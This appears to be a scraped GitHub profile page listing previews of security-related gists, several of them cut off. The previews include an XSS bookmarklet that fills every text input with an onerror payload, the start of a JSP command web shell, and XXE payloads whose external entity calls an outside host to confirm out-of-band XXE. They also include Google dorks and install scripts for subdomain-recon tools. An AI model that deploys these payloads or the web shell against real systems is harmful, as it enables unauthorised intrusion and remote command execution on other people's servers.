Skip to content

Instantly share code, notes, and snippets.

View splint3rsec's full-sized avatar
🎯
Focusing

Splint3rsec splint3rsec

🎯
Focusing
32 followers · 70 following
View GitHub Profile
@renniepak
renniepak / XSS_Bookmarklet.js
Created March 16, 2021 16:11
javascript:(function(){for (var t = document.getElementsByTagName("input"), e = 0; e < t.length; e++) "text" == t[e].getAttribute("type") && (t[e].value = '"><img src onerror=alert(document.domain)>')})();void(0)
@chr0ll0x0
chr0ll0x0 / auto-subdomains.sh
Last active July 8, 2022 21:57
for subdomains
#!/bin/bash
#please install this tool first
#install jq
#Assetfinder - https://github.com/tomnomnom/assetfinder
#Subfinder - https://github.com/projectdiscovery/subfinder
#Amass - https://github.com/OWASP/Amass
#Findomain https://github.com/Findomain/Findomain
#Anew https://github.com/tomnomnom/anew
#crobat https://github.com/cgboal/sonarsearch/crobat
@Sicks3c
Sicks3c / packages.sh
Last active March 4, 2021 17:15
#!/bin/bash
echo "Installing amass"
export GO111MODULE=on; go get -v github.com/OWASP/Amass/v3/...
echo "anew"
bash -c 'go get -u github.com/tomnomnom/anew'
echo -e "Installing anti-burl"
bash -c 'go get -u github.com/tomnomnom/hacks'
echo -e "Installing aquatone"
bash -c 'go get -u github.com/michenriksen/aquatone'
echo -e 'Installing assetfinder'
@w3cj
w3cj / dev-setup.md
Last active February 8, 2024 10:24

Dev Setup

  1. Homebrew/terminal/bash
  2. OSX Productivity - Window Management/Quick Launcher/Hyperswitch
  3. OSX Settings - Dock/Finder
  4. Web Browser - Extensions - AdBlock, Privacy Badger, OneTab, JSONViewer, Stylus, Vue Devtools, React Devtools
  5. Node.js - nvm
  6. Code Editor - vs code
  7. Code Editor Extensions
  8. Break timer and Flux
@nikallass
nikallass / cmd.jsp
Created April 30, 2018 16:54
Simple JSP cmd shell
<%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
Commands with JSP
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
@stevenswafford
stevenswafford / google-dorks
Created June 6, 2015 05:57
Listing of a number of useful Google dorks.
" _ _ "
" _ /|| . . ||\ _ "
" ( } \||D ' ' ' C||/ { % "
" | /\__,=_[_] ' . . ' [_]_=,__/\ |"
" |_\_ |----| |----| _/_|"
" | |/ | | | | \| |"
" | /_ | | | | _\ |"
It is all fun and games until someone gets hacked!
@staaldraad
staaldraad / XXE_payloads
Last active June 15, 2024 16:32
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>